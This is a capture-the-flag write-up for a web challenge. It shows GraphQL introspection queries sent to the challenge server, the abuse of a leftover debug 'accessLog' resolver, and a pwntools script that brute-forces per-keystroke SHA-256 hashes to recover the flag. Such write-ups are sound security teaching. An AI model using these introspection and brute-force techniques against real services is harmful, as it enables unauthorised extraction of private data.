Confessions
Description
Someone confessed their dirtiest secret on this new website: https://confessions.flu.xxx Can you find out what it is?
Write-Up
After some basic poking around and seeing what the website does we find that pretty much the whole thing is done by javascript calling a GraphQL backend. It seems the /graphql
backend allows pretty much arbitrary queries, so let’s see what we can pull out of there.
Using an adapted query from https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection#enumerate-database-schema-via-introspection we can get a dump of all the types and queries.
echo '{"operationName":null,"query":"{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}}"}' | http POST https://confessions.flu.xxx/graphql "Cookie: session=s%3ANG7vfsHx-PxMQEvofDqvHRlXdDaw_epa.J2%2F1vXUmzYJO3wgDl81DsPZx1OphmsHrPUubDzKn4Hk
It’s a little hard to read the request, but essentially it’s just the example query from the github repo stuffed into a query we captured from the Firefox developer console requests tab.
After poking through the output for a while we find a query named accessLog
with the description “Show the resolver access log. TODO: remove before production release”. That seems interesting!
After some more poking around in our output we can find that it takes no parameters and that it has three fields; timestamp, name, and args. A little while later we have a working request to use this function:
echo '{"operationName":null,"query":"{ accessLog { timestamp, name, args } }"}' | http POST https://confessions.flu.xxx/graphql "Cookie: session=s%3ANG7vfsHx-PxMQEvofDqvHRlXdDaw_epa.J2%2F1vXUmzYJO3wgDl81DsPZx1OphmsHrPUubDzKn4Hk"
There’s quite a bit of data returned. A bunch of requests made for a secret with the title “Flag”, and the hashes. But crucially the “message” field is set to null
. There are however a noticably large number of requests made to store this “Flag” secret, each one second apart and 28 requests in total. At first we thought each secret might have one character of the flag in it, and since we do get a sha256 hash, brute-forcing one char of sha256 does not seem too hard.
However we quickly found that the first hash was f
, the second fl
, the third fla
etc. In retrospect this makes sense at the secret is getting updated every time the user types a new character into the text field. However our attack is much the same as we can still brute force the sha256 hashes one character at a time, we just need to prefix the previously found characters.
We used python pwntools to do a quick little brute force script and figure out the flag:
from pwn import *
hashes = [
"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111",
"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6",
"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83",
"807d0fbcae7c4b20518d4d85664f6820aafdf936104122c5073e7744c46c4b87",
"0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37",
"9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48",
"95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81",
"62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75",
"5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77",
"52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76",
"7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53",
"532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37",
"a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1",
"1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1",
"1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3",
"0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7",
"0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b",
"c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9",
"d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0",
"fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1",
"70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89",
"26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad",
"c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d",
"eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d",
"c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468",
"ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d",
"07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9",
"5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5"
]
res = ""
for h in hashes:
res = res + pwnlib.util.iters.bruteforce(lambda x: pwnlib.util.hashes.sha256sumhex((str(res) + x).encode('utf-8')) == h, string.printable, length=2)
print(res)
And in no time at all the flag is spit out for us!
$ python solve.py
[+] Bruteforcing: Found key: "f"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "a"
[+] Bruteforcing: Found key: "g"
[+] Bruteforcing: Found key: "{"
[+] Bruteforcing: Found key: "b"
[+] Bruteforcing: Found key: "u"
[+] Bruteforcing: Found key: "t"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "p"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "s"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "d"
[+] Bruteforcing: Found key: "0"
[+] Bruteforcing: Found key: "n"
[+] Bruteforcing: Found key: "t"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "t"
[+] Bruteforcing: Found key: "3"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "l"
[+] Bruteforcing: Found key: "_"
[+] Bruteforcing: Found key: "a"
[+] Bruteforcing: Found key: "n"
[+] Bruteforcing: Found key: "y"
[+] Bruteforcing: Found key: "1"
[+] Bruteforcing: Found key: "}"
flag{but_pls_d0nt_t3ll_any1}